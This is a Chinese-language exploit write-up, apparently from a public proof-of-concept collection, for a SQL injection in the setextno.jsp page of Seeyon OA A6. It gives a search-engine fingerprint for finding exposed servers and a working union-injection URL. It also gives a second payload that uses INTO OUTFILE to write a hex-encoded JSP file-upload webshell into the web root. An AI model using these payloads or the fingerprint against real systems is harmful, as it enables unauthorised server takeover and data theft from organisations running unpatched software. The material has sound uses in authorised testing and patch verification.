Awesome-POC/OA产品漏洞/致远OA A6 setextno.jsp SQL注入漏洞.md
2024-11-06 14:10:36 +08:00

39 lines
1.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 致远OA A6 setextno.jsp SQL注入漏洞
## 漏洞描述
致远OA A6 setextno.jsp 存在sql注入漏洞并可以通过注入写入webshell文件控制服务器
## 漏洞影响
```
致远OA A6
```
## 网络测绘
```
title="致远A8+协同管理软件.A6"
```
## 漏洞复现
访问如下Url其中含有 union注入
```
/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(md5(1)),4#
```
![image-20220520152851758](images/202205201528813.png)
查看web路径
![image-20220520152913900](images/202205201529936.png)
写入文件上传木马
```
http://xxx.xxx.xxx/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(99999) union all select 1,2,(select unhex('3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E') into outfile 'D:/Program Files/UFseeyon/OA/tomcat/webapps/yyoa/test_upload.jsp'),4#
```
![image-20220520152936293](images/202205201529359.png)